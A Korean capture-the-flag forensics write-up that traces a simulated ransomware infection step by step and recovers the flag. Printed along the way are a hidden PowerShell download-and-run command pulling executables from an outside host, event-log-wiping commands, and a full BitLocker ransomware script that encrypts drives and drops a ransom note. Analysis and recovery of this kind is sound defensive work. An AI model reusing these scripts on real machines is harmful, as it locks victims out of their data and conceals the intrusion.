
- 0. 초기 접근
- 1. 파일 분석
- 2. dll 인젝션을 활용하는 악성코드 분석(1.exe)
- 3. 암호화 쉘스크립트 다운로더 분석(enc.exe)
- 4. 암호화 쉘스크립트 분석(lock.ps1)
Description :
직원 A씨는 어느 날 PC가 랜섬웨어에 감염된 사실을 알게되었다. 랜섬웨어에 의해 잠긴 파티션 속에는 중요한 대외비 자료가 보관 중이었다. 이에 긴급하게 분석을 맡기게 되었고, 당신은 해당 자료를 무사히 복구해야 하는 상황에 처했다.
문제 :
(1) dll인젝션에 사용된 dll 파일명 (.dll 포함)
(2) 비트라커의 평문키
(3) 암호화된 파티션 내부 설계도면에 적힌 가격
flag 형식 = FIESTA{(1)_(2)_(3)}
0. 초기 접근
처음 알았는데, 이런 식으로 침해당한 OS 이미지를 주면 VM에 띄워보는 게 아니라 FTK Imager에 띄우는 게 정석이었나 보다.
전형적인 랜섬웨어 공격이다.
피해자들은 보통 파일을 다운로드 및 실행함으로써 랜섬웨어에 감염된다.
따라서 최근에 사용한 파일이 무엇인지 확인해 보았다.
저 두 개가 진짜 문제 같아 보인다.
아니나 다를까 해당 파일의 위치로 가 보니 MAC Time이 비슷한 파일 3개가 보인다.
해당 파일을 분석 대상으로 결정하고, 이번에는 확장자가 .pdf인 바로 가기 파일을 확보하기 위해 다시 최근 파일로 돌아왔다.
그러나 해당 바로 가기 파일은 삭제되어 있었다. 악성 행위가 진행되며 흔적이 될 수 있는 파일을 지운 것으로 추정된다.
어쨌든 4개 파일을 모두 확보했고, C-TIME과 M-TIME에 기반한 순서 및 이벤트 로거에서 확인한 정보 토대로 가볍게 분석해 보았다.
-
국내코로나19재감염사례현황.pdf
-
국내코로나19재감염사례현황.pdf.lnk
-
1.exe
-
wiping.ps1
이벤트 로거 확인 모습 -경고 로그, 저 시점에 BitLocker 암호화가 되었음
저 시점 이전에 ID 403(파워쉘 코드 실행 중지) 및 ID 600이 모여 있는 게 보인다.
403부터 확인해 보았다.
wiping.ps1이 실행된 것이 볼륨 암호화와 연관이 있을 확률이 높아 보인다.
pdf 파일을 열어봄으로써 악성코드가 드롭/다운로드되어 실행되었다는 시나리오일 것으로 추정된다.
그리고 저 시점 이전의 이벤트 로그가 싹 지워져 있는데, 이건 악성 행위에 이벤트 로그를 지우는 행위가 포함되어 있기 때문으로 추정된다.
1. 파일 분석
1.0. wiping.ps1
파워쉘 코드는 가장 분석이 쉽기 때문에 최우선적으로 확인했다.
$filePath = "C:\Users\Public\lock.ps1"
if (Test-Path $filePath) {
Remove-Item $filePath -Force
}
wevtutil el | foreach { wevtutil cl $_ }
Start-Sleep -Seconds 300
Restart-Computer -Force
lock.ps1
파일을 지워버리고
이벤트 로그 지우는 게 맞다.
1.1. 국내코로나19재감염사례현황.pdf.lnk
바로 가기 파일의 동작은 무엇을 가리키는지가 핵심이다.
따라서 속성 보기를 통해 무엇을 대상으로 하는지 확인했다.
파워쉘을 실행하는 링크 파일이다.
그런데 좀 이상하다.
링크 파일이라기엔 너무 크다.
자세한 내용을 알기 위해 HxD로 내부 내용을 확인했… 는데, HxD는 lnk 자체의 데이터를 보여주는 게 아니라, lnk가 가리키는 파일의 데이터를 보여주더라.
010 Editor를 사용했다.
내부에 커맨드가 있는 것을 확인할 수 있다.
/c powershell -windowstyle hidden -command "Set-Location -Path 'C:\Users\Public'; Invoke-WebRequest -Uri 'http://172.22.224.1:7777/123.pdf' -OutFile 'C:\Users\Public\국내코로나19재감염사례현황.pdf'; Invoke-WebRequest -Uri 'http://172.22.224.1:7777/1.exe' -OutFile 'C:\Users\Public\1.exe'; Start-Process -FilePath 'C:\Users\Public\국내코로나19재감염사례현황.pdf'; Start-Process -FilePath 'C:\Users\Public\1.exe'"
pdf 파일과 1.exe
를 다운받아 실행시키는 커맨드다.
pdf 파일 자체에 문제가 있을 수도 있지만, 이 경우에는 1.exe
가 드로핑을 위한 DB 정도로 pdf 파일을 사용할 수도 있겠다는 생각이 들었다.
1.2.1.exe
Virustotal에 먼저 넣고 돌려 보았다. 샌드박스 프로그램 쓰고 싶은데 맨날 계정 만드는 걸 까먹는다;
대박 개쩌는 악성파일이다
주요 행위를 정리해 동작 메커니즘을 추론해 보았다.
-
악성 dll 다운로드
- 악성 dll injection
- dll을 다운로드했기 때문에, 분석 결과에서
version.dll
을 검색해 Files Written에 있는 주요 시스템 파일과 동일한 파일명인지를 확인했다.
- dll을 다운로드했기 때문에, 분석 결과에서
- 자동으로 인터넷 검색 쿠키를 지움
- 이는 사용자가 어디에서 악성 파일을 입수했는지 파악이 어렵게 하기 위한 것으로 정
- 추가 PE 다운로드
- 뭔가 저 version[1].dll은 version.dll 인젝션으로 인해 드롭된 파일 같음
-
(추가 증적) 쉘 커맨드
-
키 생성 및 암호화
즉, 여기에서 첫 번째 문항을 해결할 수 있다.
(1) dll인젝션에 사용된 dll 파일명 (.dll 포함): version.dll
(2) 비트라커의 평문키
(3) 암호화된 파티션 내부 설계도면에 적힌 가격
1.3. 국내코로나19재감염사례현황.pdf
해당 파일은 주요 악성 행위를 수행하는 1.exe에서 참조하지 않는 관계로, 확인하지 않음
2. dll 인젝션을 활용하는 악성코드 분석(1.exe)
version.dll 인젝션하는 포인트 전후로 뭔가 하겠지..
해당 악성코드는 stripped & obfuscated된 악성코드다.
근데 샌드박스에서 돌렸을 때 get request를 날리거나, 커맨드라인을 실행하는 모습을 보였음
- 즉, 내부에 관련 스트링을 가지고 있을 가능성이 높음
- 아니면 인코딩된 스트링을 디코딩하든가
- 그런데 어쨌든 httprequest는 보내겠지
이제 저 순서대로 분석하면 되지 않을까
2.1. (시도) 내부 스트링 확인
?
String Subview 켜자마자 보였음
머쓱…
그럼 소제목을 다시 써야 할 것 같다
2.1. 암호화 루틴 접근
저 스트링을 어디에서 참조하는지 확인해 보자.
단순히 단축키 x를 눌러서 xref를 찾는 것만으로는 참조 위치가 나오지 않는다.
개인적으로 이런 경우에 대한 추측인데,
이는 코드에서 다이렉트로 해당 스트링의 시작 주소를 참조하는 게 아닌
해당 스트링을 가리키는 타 포인터 변수(aHttpsGithubCom
)를 참조해서 그런 것 같다.
xref의 경우 이 스트링을 참조하는 ‘코드’ 포인트를 보여주는 거지 이 스트링을 가리키는 포인터를 보여주는 게 아니라 xref 정보가 없는 것으로 보인다.
하지만 다 방법이 있다.
해당 스트링의 위치로 가면 이 스트링의 변수명이 함께 명시되어 있다.
그 옆에 있는 DATA XREF 위치가 해당 변수를 참조하는 코드 위치이므로 거기로 가도 좋고
이 스트링의 주소에 대한 모든 xref 그래프(xref to this address)를 조회할 수도 있다.
sub_1400749C0
함수에서 접근함을 알 수 있었다.
2.2. sub_1400749C0 분석
해당 함수를 Disassemble하면 아래와 같은 내용을 확인할 수 있다.
와 윈도우 폴더를 두 개 만들어 버리네
와 저런 식으로 오버라이드를 해버리네
그런데 우리가 잊지 말아야 할 게 있음
이 악성파일은 저 깃헙 레포에 수상할 정도로 많이 접근함
그리고 이쯤에서 다시 꺼내보는 wiping.ps1
$filePath = "C:\Users\Public\lock.ps1"
if (Test-Path $filePath) {
Remove-Item $filePath -Force
}
wevtutil el | foreach { wevtutil cl $_ }
Start-Sleep -Seconds 300
Restart-Computer -Force
lock.ps1
을 삭제한다고 되어 있는데
1.exe
내부에 lock.ps1
문자열은 존재하지 않음.
1.exe
의 짜임새를 봤을 때, lock.ps1
문자열을 따로 인코딩하여 데이터 영역에 넣어두지도 않았을 가능성이 높음
즉, lock.ps1
은 어딘가에서 다운로드 되었을 가능성이 높음.
높은 확률로 저 imnothackerkkk
레포일 것이므로, 해당 레포를 뒤져 보았다.
- imnothackerkkk/key/secret
Giveme the100BTC!!!
-
imnothackerkkk/enc/main
- lock.ps1의 암호화된 버전과 복호화 기반이 될 수 있는 툴을 가지고 있는 것으로 보인다.
- imnothacker/secret/hi!!!
CBCAMP{D0Y0UKN0WAboutWebAr71F4C7?}
- 이건 뭐지
enc 레포에 접근하는 행위는 현재까지 분석한 파일에서 보이지 않았다.
그러나, 암호화의 핵심으로 보이는 lock.ps1
파일과 관련된 레포이므로 분석해 보았다.
(그래서 저 레포에는 언제 어떻게 접근한 거지?)
3. 암호화 쉘스크립트 다운로더 분석(enc.exe)
3.1. Overview
해당 다운로더를 virustotal에 돌려보면, 아래와 같은 행위가 나온다.
따라서, 다운로더 내부에 lock.ps1
혹은 lock_encrypted.ps1
을 콜하는 루틴이 있는지 확인해 보았다.
lock.ps1
파일을 확보해야 하니까…
있음
main함수의 초장부터 콜하네
XOR이라면 대칭키일듯?
main의 전문은 다음과 같음
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // edx
void *v4; // edx
void *v5; // edx
void *v7[4]; // [esp+4h] [ebp-58h] BYREF
int v8; // [esp+14h] [ebp-48h]
unsigned int v9; // [esp+18h] [ebp-44h]
void *Block[4]; // [esp+1Ch] [ebp-40h] BYREF
int v11; // [esp+2Ch] [ebp-30h]
unsigned int v12; // [esp+30h] [ebp-2Ch]
void *v13[4]; // [esp+34h] [ebp-28h] BYREF
int v14; // [esp+44h] [ebp-18h]
unsigned int v15; // [esp+48h] [ebp-14h]
int v16; // [esp+58h] [ebp-4h]
v8 = 0;
v9 = 0;
*(_OWORD *)v7 = 0i64;
sub_405220(v7, "lock.ps1", 8u);
v16 = 0;
v14 = 0;
*(_OWORD *)v13 = 0i64;
v15 = 0;
sub_405220(v13, "lock_encrypted.ps1", 0x12u);
LOBYTE(v16) = 1;
v11 = 0;
*(_OWORD *)Block = 0i64;
v12 = 0;
sub_405220(Block, "specialllll!!!!!!!", 0x12u);
LOBYTE(v16) = 2;
sub_401E80(Block);
# --- 후략; ---
# 오류가 발생하지 않은 이상 진입할 일 없는 code branch
return 0;
}
암호화 루틴이라기보다는 암호화 루틴을 콜하는 부분에 가까운 듯
3.2. sub_405220 분석
해당 함수는 main에서 총 3회 아래와 같이 콜되는 함수
sub_405220(v7, "lock.ps1", 8u);
sub_405220(v13, "lock_encrypted.ps1", 0x12u);
sub_405220(Block, "specialllll!!!!!!!", 0x12u);
핵심은 첫 번째 인자에 뭐가 들어와서 리턴되느냐인가?
맞는 듯
사유
C 계열 언어로 컴파일된 프로그램상에서 함수를 콜했는데 결과값을 *ax에 넣는 흐름이 없음
그럼 인자로 준 포인터 계열 파라미터가 Caller 와 Callee를 연결할 수 있는 방법일 텐데
main에서 해당 함수를 호출하는 양상을 봤을 때 첫 번째 파라미터가 1) 포인터 계열이고 2) 3개 인자 중 유일하게 비어 있는 인자임
그럼 해당 함수는 첫 번째 인자에 최종적으로 뭘 넣어주는지 확인해 보자.
void *__thiscall sub_405220(_DWORD *return_value, void *Src, size_t Size)
{
void *result; // eax
size_t v5; // edi
size_t v6; // ecx
void *v7; // eax
void *v8; // ecx
_DWORD *v9; // eax
void *v10; // [esp+10h] [ebp-4h]
if ( Size > 0x7FFFFFFF )
sub_401270();
if ( Size <= 0xF )
{
return_value[4] = Size;
return_value[5] = 15;
result = memmove(return_value, Src, Size);
*((_BYTE *)return_value + Size) = 0;
return result;
}
v5 = Size | 0xF;
if ( (Size | 0xF) > 0x7FFFFFFF )
{
v5 = 0x7FFFFFFF;
v6 = -2147483613;
LABEL_6:
v7 = operator new(v6);
v8 = v7;
if ( !v7 )
_invalid_parameter_noinfo_noreturn();
v9 = (_DWORD *)(((unsigned int)v7 + 35) & 0xFFFFFFE0);
*(v9 - 1) = v8;
goto LABEL_15;
}
if ( v5 < 0x16 )
v5 = 22;
v9 = (_DWORD *)(v5 + 1);
if ( v5 == -1 )
goto LABEL_15;
if ( (unsigned int)v9 >= 0x1000 )
{
v6 = v5 + 36;
if ( v5 + 36 <= v5 + 1 )
sub_4011D0();
goto LABEL_6;
}
v9 = operator new(v5 + 1);
LABEL_15:
v10 = v9;
*return_value = v9;
return_value[4] = Size;
return_value[5] = v5;
memmove(v9, Src, Size);
result = v10;
*((_BYTE *)v10 + Size) = 0;
return result;
}
code branch를 다 볼 필요는 없고
0글자~0xF글자
0x10글자~0x1F글자
이쪽만 보면 될 것
사유
어차피 Size에 8 아니면 0x12만 들어갈텐데 뭐
모르겠으면 저 코드 끝나고 리턴하는 부분에서 얼마씩이 *return_value에 담겨오는지 bp 걸고 보면 되겠지….
저 코드의 return은 신경 안 써도 된다고 생각함.
왜냐.
caller는 저 함수를 콜해놓고 *ax를 참조하지 않음
실제로 어셈으로 확인하면
*ax에 뭘 넣는 것도 없고, retn 8로 지역변수를 선언하느라 올렸던 스택프레임만 원상복구하는 모습을 볼 수 있음
아무튼 뭘 하든 결국 memmove
를 하게 됨
따라서 핵심 함수가 아님
이제 main 함수의 다음 부분을 보자.
sub_405220(Block, "specialllll!!!!!!!", 0x12u);
LOBYTE(v16) = 2;
sub_401E80(Block);
3.3. sub_401E80 분석
저건 sub_401E80(“specialllll!!!!!!!”) 로 해석해도 무방할 듯 하다.
다만 main에서 보이는 sub_401E80의 인자 수와 sub_401E80 내부에서 보이는 인자 수가 달라 교차 검증을 진행했다.
; main에서 sub_401E80을 콜하기 전까지의 행위
call memmove_sub_405220 ; Size=8 || 18
lea eax, [ebp+Block]
; } // starts at 4023E7
; try {
mov byte ptr [ebp+var_4], 2
push eax
lea edx, [ebp+var_28]
lea ecx, [ebp+str__lock_ps1]
call sub_401E80
eax는 확실히 인자로 가는 것 같고,
이상한 건 edx, ecx
; sub_401E80에서 edx, ecx에 최초로 접근하는 시점
mov esi, edx
mov edi, ecx
push 0B8h ; Size
lea eax, [ebp+var_184]
push 0 ; Val
push eax ; void *
call _memset
add esp, 0Ch
cmp dword ptr [edi+14h], 0Fh
jbe short loc_401ED0
내부에서 쓰는 게 맞다.
그럼 main에서 sub_401E80를 고쳐주자.
아주 좋아
void __usercall sub_401E80(_DWORD *str__lock_encrypted_ps1@<edx>, _DWORD *str__lock_ps1@<ecx>, _DWORD *str_special)
{
int v5; // edx
unsigned int v6; // ecx
_BYTE *Block_1_ptr; // edi
_BYTE *Block_0_ptr; // edx
_BYTE *v9; // ebx
_DWORD *v10; // edi
unsigned int v11; // edx
void *v12; // ecx
int v13; // eax
int v14; // [esp-Ch] [ebp-1B4h]
int v15; // [esp-Ch] [ebp-1B4h]
int v16; // [esp-8h] [ebp-1B0h]
int v17; // [esp-8h] [ebp-1B0h]
int v18; // [esp-4h] [ebp-1ACh]
int v19; // [esp-4h] [ebp-1ACh]
void **Block_ptr; // [esp+20h] [ebp-188h]
int v21[46]; // [esp+24h] [ebp-184h] BYREF
int v22[44]; // [esp+DCh] [ebp-CCh] BYREF
void *Block[2]; // [esp+18Ch] [ebp-1Ch] BYREF
int v24; // [esp+194h] [ebp-14h]
int v25; // [esp+1A4h] [ebp-4h]
memset(v21, 0, sizeof(v21));
if ( str__lock_ps1[5] > 0xFu )
str__lock_ps1 = (_DWORD *)*str__lock_ps1;
sub_404210(v21, (int)str__lock_ps1, v14, v16, v18);
*(int *)((char *)v21 + *(_DWORD *)(v21[0] + 4)) = (int)&std::ifstream::`vftable';
*(int *)((char *)&v21[-1] + *(_DWORD *)(v21[0] + 4)) = *(_DWORD *)(v21[0] + 4) - 112;
v25 = 0;
memset(v22, 0, sizeof(v22));
if ( str__lock_encrypted_ps1[5] > 0xFu )
str__lock_encrypted_ps1 = (_DWORD *)*str__lock_encrypted_ps1;
sub_403CB0(str__lock_encrypted_ps1, v15, v17, v19);
*(int *)((char *)v22 + *(_DWORD *)(v22[0] + 4)) = (int)&std::ofstream::`vftable';
*(int *)((char *)&v21[45] + *(_DWORD *)(v22[0] + 4)) = *(_DWORD *)(v22[0] + 4) - 104;
LOBYTE(v25) = 1; // 여기까지 v21과 v22에 각자 파일 내용을 넣는 것 같음
if ( v21[23] && v22[20] )
{
*(_QWORD *)Block = 0i64;
v24 = 0;
v5 = *(int *)((char *)&v21[14] + *(_DWORD *)(v21[0] + 4));
v24 = 0;
Block_ptr = Block;
LOBYTE(v25) = 2;
sub_405940(v5, v5 == 0, 0, 1);
v6 = 0;
LOBYTE(v25) = 3;
Block_1_ptr = Block[1];
Block_0_ptr = Block[0];
Block_ptr = (void **)str_special[4];
if ( Block[1] != Block[0] )
{
do
{
v9 = &Block_0_ptr[v6];
v10 = str_special;
if ( str_special[5] > 0xFu )
v10 = (_DWORD *)*str_special;
v11 = v6 % (unsigned int)Block_ptr;
++v6;
*v9 ^= *((_BYTE *)v10 + v11);
Block_1_ptr = Block[1];
Block_0_ptr = Block[0];
}
while ( v6 < Block[1] - Block[0] );
}
sub_402540(Block_0_ptr, Block_1_ptr - Block_0_ptr, 0);
if ( !sub_404130((int)&v21[4]) )
sub_401D40(
(int *)((char *)v21 + *(_DWORD *)(v21[0] + 4)),
*((_BYTE *)&v21[3] + *(_DWORD *)(v21[0] + 4)) | (4 * (*(int *)((char *)&v21[14] + *(_DWORD *)(v21[0] + 4)) == 0)
+ 2),
0);
if ( !sub_404130((int)&v22[1]) )
sub_401D40(
(int *)((char *)v22 + *(_DWORD *)(v22[0] + 4)),
*((_BYTE *)&v22[3] + *(_DWORD *)(v22[0] + 4)) | (4 * (*(int *)((char *)&v22[14] + *(_DWORD *)(v22[0] + 4)) == 0)
+ 2),
0);
LOBYTE(v25) = 1;
v12 = Block[0];
if ( Block[0] )
{
if ( v24 - (unsigned int)Block[0] >= 0x1000 )
{
v12 = (void *)*((_DWORD *)Block[0] - 1);
if ( (unsigned int)(Block[0] - v12 - 4) > 0x1F )
_invalid_parameter_noinfo_noreturn();
}
sub_4068E5(v12);
Block[0] = 0;
Block[1] = 0;
v24 = 0;
}
}
else
{
v13 = sub_404E00();
sub_4050B0(v13);
} // 여기에서부터는 파일 입출력 수행
*(int *)((char *)v22 + *(_DWORD *)(v22[0] + 4)) = (int)&std::ofstream::`vftable';
*(int *)((char *)&v21[45] + *(_DWORD *)(v22[0] + 4)) = *(_DWORD *)(v22[0] + 4) - 104;
sub_403300();
*(int *)((char *)v22 + *(_DWORD *)(v22[0] + 4)) = (int)&std::ostream::`vftable';
*(int *)((char *)&v21[45] + *(_DWORD *)(v22[0] + 4)) = *(_DWORD *)(v22[0] + 4) - 8;
LOBYTE(v25) = 4;
v22[26] = (int)&std::ios_base::`vftable';
std::ios_base::_Ios_base_dtor((struct std::ios_base *)&v22[26]);
*(int *)((char *)v21 + *(_DWORD *)(v21[0] + 4)) = (int)&std::ifstream::`vftable';
*(int *)((char *)&v21[-1] + *(_DWORD *)(v21[0] + 4)) = *(_DWORD *)(v21[0] + 4) - 112;
sub_403300();
*(int *)((char *)v21 + *(_DWORD *)(v21[0] + 4)) = (int)&std::istream::`vftable';
*(int *)((char *)&v21[-1] + *(_DWORD *)(v21[0] + 4)) = *(_DWORD *)(v21[0] + 4) - 24;
v25 = 5;
v21[28] = (int)&std::ios_base::`vftable';
std::ios_base::_Ios_base_dtor((struct std::ios_base *)&v21[28]);
}
해당 함수 내부를 보면 좀 많이 어려워 보인다.
굳이 전체를 이해할 필요 없이 핵심 동작을 수행하는 곳이 어딘지부터 알아내 보자고
원래 논문도 핵심부터 읽는 거고
코드도 핵심부터 거꾸로 읽는 거지
먼저 해당 프로그램이 있던 깃허브 레포를 보면, XOR을 수행하는 프로그램이라 되어 있다.
그렇다면, 난독화가 안 걸려 있거나 좀 정직하게 쓰인 프로그램이라면 높은 확률로 ^
기호가 등장하는 곳이 주요 행위를 수행하는 부분이 될 것이다.
암호화에 주로 사용되는 연산을 난독화하는 기법에 대해선 다음 포스팅에 다뤄보는 것도 좋겠다.
아 대박 진짜 있네
if ( Block[1] != Block[0] )
{
do
{
v9 = &Block_0_ptr[v6];
v10 = str_special;
if ( str_special[5] > 0xFu )
v10 = (_DWORD *)*str_special;
v11 = v6 % (unsigned int)Block_ptr;
++v6;
*v9 ^= *((_BYTE *)v10 + v11);
Block_1_ptr = Block[1];
Block_0_ptr = Block[0];
}
while ( v6 < Block[1] - Block[0] );
}
이 부분이 핵심인가보다.
내가 생각하는 게 맞는지 ChatGPT에게 물어봤다.
맞다고 함
그럼 이 안에서 사용되는 주요 변수가 무엇일지 알아내 보자.
? 평문으로 들어가는 데이터가 없는 것 같음.
그럼 뭐…. bp걸고 동적으로 분석해야지…
kernalbase.dll
, kernalbase32.dll
에서 IsDebuggerPresent
를 Import하긴 하는데
왜인진 몰라도 안티디버깅이 안 터짐 ㅋㅋㅋㅋㅋ아뭐지
어쨌든 루프 내부로 진입해 xor 당시 lock.ps1
을 가지고 key값과 xor 해준다는 사실을 알 수 있었다
lock.ps1
이 없으면 실행 플로우의 문제로 판단하고 강제 종료하는 루틴이 있기 때문에 a로만 채운 lock.ps1
을 넣어줬고
이제 암호화로 뭐가 들어가고 그 결과로 뭐가 나오는지 알았다.
그리고 암호화를 하기 위해 참조하는 데이터는 내부에 hard-coded되어있는 파일명임을 또한 알았다.
마지막으로 암호화 루틴의 핵심은 XOR이며, XOR을 하기 전후에 딱히 데이터에 대한 비트 연산도 없다.
XOR을 통해 만들어진 암호문은 동일 루틴을 통과할 경우 입력값이었던 평문을 그대로 도출할 수 있다.
블록 암호화를 위한 대칭키 알고리즘이 많지만, 복호화 알고리즘은 내가 아는 한 블록을 trimming해서 key와 매칭시키는 위상만 역으로 재현할 뿐이지 복호화 수식 자체는 암호화 수식과 동일하다.
v6 = 0;
LOBYTE(v25) = 3;
Block_1_ptr = Block[1];
Block_0_ptr = Block[0];
Block_ptr = (void **)str_special[4];
if ( Block[1] != Block[0] )
{
do
{
v9 = &Block_0_ptr[v6];
v10 = str_special;
if ( str_special[5] > 0xFu )
v10 = (_DWORD *)*str_special;
v11 = v6 % (unsigned int)Block_ptr;
++v6;
*v9 ^= *((_BYTE *)v10 + v11);
Block_1_ptr = Block[1];
Block_0_ptr = Block[0];
}
while ( v6 < Block[1] - Block[0] );
}
sub
그리고 여기에서 봤을 때, XOR을 위해 block을 trimming 하는 부분에서는 key string에 1:1 매핑을 하기 위해 mod 연산으로 input block을 key string의 길이만큼씩 잘라 각 블록의 앞에서부터 순서대로 key와 XOR을 하는 것 이외의 위상 변화가 없다.
즉, 해당 루틴의 I/O는 대칭이라고 결론지었다.
그럼 내가 굳이 복호화를 위한 harness를 만들 필요가 없지 않을까?
-
앞서 말한 대칭성 하에서 Input으로 평문
lock.ps1
을 넣어 Output으로 암호화된lock_encrypted.ps1
이 나왔다면 -
Input으로 암호문
lock_encrypted.ps1
을 넣었을 때 Output으로 복호화된lock.ps1
을 도출할 테니까 -
그래서 암호문
lock_encrypted.ps1
의 파일명을lock.ps1
으로 바꾸고,enc.exe
를 실행했다.
물론 enc.exe
를 끝까지 실행하면 vm에 BitLocker가 걸리기 때문에 ㅋㅋㅋㅋㅋ 그리고 lock.ps1
을 지우는 스크립트인 wiping.ps1
이 실행될 것이므로…
복호화만 완료시키고 강제종료 시켜줬다.
그 결과,
# lock.ps1
Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command & { $scriptBlock }" -WindowStyle Hidden
Set-ExecutionPolicy Bypass -Scope LocalMachine -Force
$rawUrl = "https://raw.githubusercontent.com/imnothackerkkk/key/main/secret";
$fileContent = Invoke-RestMethod -Uri $rawUrl
$volumes = Get-BitLockerVolume
$osVolume = (Get-WmiObject Win32_OperatingSystem).SystemDrive
$key = ConvertTo-SecureString -String $fileContent -AsPlainText -Force
foreach ($volume in $volumes) {
if ($volume.MountPoint -ne $osVolume) {
Enable-BitLocker -MountPoint $volume.MountPoint -EncryptionMethod Aes128 -PasswordProtector $key
Disable-BitLockerAutoUnlock -MountPoint $volume.MountPoint
Get-BitLockerVolume -MountPoint $volume.MountPoint
}
}
$Url1 = "https://raw.githubusercontent.com/imnothackerkkk/key/main/ransomnote.jpg"
$Url2 = "https://raw.githubusercontent.com/imnothackerkkk/key/main/readme.txt"
$desktopPath = [System.Environment]::GetFolderPath("Desktop")
$destinationPath1 = Join-Path -Path $desktopPath -ChildPath "note.jpg"
$destinationPath2 = Join-Path -Path $desktopPath -ChildPath "readme.txt"
Invoke-WebRequest -Uri $Url1 -OutFile $destinationPath1
Invoke-WebRequest -Uri $Url2 -OutFile $destinationPath2
$imageFileName = "note.jpg"
$imagePath = Join-Path -Path $desktopPath -ChildPath $imageFileName
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Wallpaper
{
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
}
"@
$SPI_SETDESKWALLPAPER = 20
$SPIF_UPDATEINIFILE = 0x01
$SPIF_SENDCHANGE = 0x02
[Wallpaper]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $imagePath, $SPIF_UPDATEINIFILE -bor $SPIF_SENDCHANGE)
Restart-Computer -Force
이렇게 lock.ps1를 구할 수 있었다.
4. 암호화 쉘스크립트 분석(lock.ps1)
BitLocker로 암호화했을 때의 CipherSuite를 뜯어보자.
- 암호화에 사용된 응용: BitLocker
- 암호화에 사용된 키값:
https://raw.githubusercontent.com/imnothackerkkk/key/main/secret
에서 다운로드된 컨텐츠- 앞에서 이미 확인했지만,
Giveme the100BTC!!!
이다.
- 앞에서 이미 확인했지만,
- 암호화 루틴: AES128
이제 두번째 문항도 해결했다.
(1) dll인젝션에 사용된 dll 파일명 (.dll 포함): version.dll
(2) 비트라커의 평문키: Giveme the100BTC!!!
(3) 암호화된 파티션 내부 설계도면에 적힌 가격
이제 암호화된 파티션 내부 설계도면을 확보해 보자.
# lock.ps1
Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command & { $scriptBlock }" -WindowStyle Hidden
Set-ExecutionPolicy Bypass -Scope LocalMachine -Force
$rawUrl = "https://raw.githubusercontent.com/imnothackerkkk/key/main/secret";
$fileContent = Invoke-RestMethod -Uri $rawUrl
$volumes = Get-BitLockerVolume
$osVolume = (Get-WmiObject Win32_OperatingSystem).SystemDrive
$key = ConvertTo-SecureString -String $fileContent -AsPlainText -Force
foreach ($volume in $volumes) {
if ($volume.MountPoint -ne $osVolume) {
Enable-BitLocker -MountPoint $volume.MountPoint -EncryptionMethod Aes128 -PasswordProtector $key
Disable-BitLockerAutoUnlock -MountPoint $volume.MountPoint
Get-BitLockerVolume -MountPoint $volume.MountPoint
}
}
$Url1 = "https://raw.githubusercontent.com/imnothackerkkk/key/main/ransomnote.jpg"
$Url2 = "https://raw.githubusercontent.com/imnothackerkkk/key/main/readme.txt"
$desktopPath = [System.Environment]::GetFolderPath("Desktop")
$destinationPath1 = Join-Path -Path $desktopPath -ChildPath "note.jpg"
$destinationPath2 = Join-Path -Path $desktopPath -ChildPath "readme.txt"
Invoke-WebRequest -Uri $Url1 -OutFile $destinationPath1
Invoke-WebRequest -Uri $Url2 -OutFile $destinationPath2
$imageFileName = "note.jpg"
$imagePath = Join-Path -Path $desktopPath -ChildPath $imageFileName
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Wallpaper
{
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
}
"@
$SPI_SETDESKWALLPAPER = 20
$SPIF_UPDATEINIFILE = 0x01
$SPIF_SENDCHANGE = 0x02
[Wallpaper]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $imagePath, $SPIF_UPDATEINIFILE -bor $SPIF_SENDCHANGE)
Restart-Computer -Force
해당 코드를 보면, 시스템 폴더가 위치해 있는 드라이브를 제외하고 이외 드라이브를 암호화하는 모습을 볼 수 있다. 전형적인 랜섬웨어 수법이다.
따라서 이외 D, E등의 파티션이 암호화됐을 텐데,
이건 FTK Imager로 해결될 게 아니니 침해당한 시스템상에서 복호화 스크립트를 돌리는 것으로 하자.
그냥 저 쉘 스크립트 그대로 응용해서 복호화 루틴 짜면 될 듯?
Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command & { $scriptBlock }" -WindowStyle Hidden
Set-ExecutionPolicy Bypass -Scope LocalMachine -Force
$rawUrl = "https://raw.githubusercontent.com/imnothackerkkk/key/main/secret";
$fileContent = Invoke-RestMethod -Uri $rawUrl
$volumes = Get-BitLockerVolume
$osVolume = (Get-WmiObject Win32_OperatingSystem).SystemDrive
$key = ConvertTo-SecureString -String $fileContent -AsPlainText -Force
foreach ($volume in $volumes) {
if ($volume.MountPoint -ne $osVolume) {
Unlock-BitLocker -MountPoint $volume.MountPoint -Password $key
}
}
MS에서 BitLocker 스펙 문서 보니까 어떻게 하면 되는지 나와있어서
그 점 참고하여 스크립트 작성했다.
굳이 내가 복호화키를 hardcode 하지 않은 이유는, 저게 rawdata를 네트워크로 가져오는 거라 Key value로 interpreting 할 때 변수가 생길 것 같아서이다.
그렇게 실행한 결과,
암호화를 해제할 수 있었다.
그리고 암호화된 설계도면도 확인할 수 있었다.
(1) dll인젝션에 사용된 dll 파일명 (.dll 포함): version.dll
(2) 비트라커의 평문키: Giveme the100BTC!!!
(3) 암호화된 파티션 내부 설계도면에 적힌 가격: 150000$
따라서 FlAG: FIESTA{version.dll_Giveme the100BTC!!!_150000$}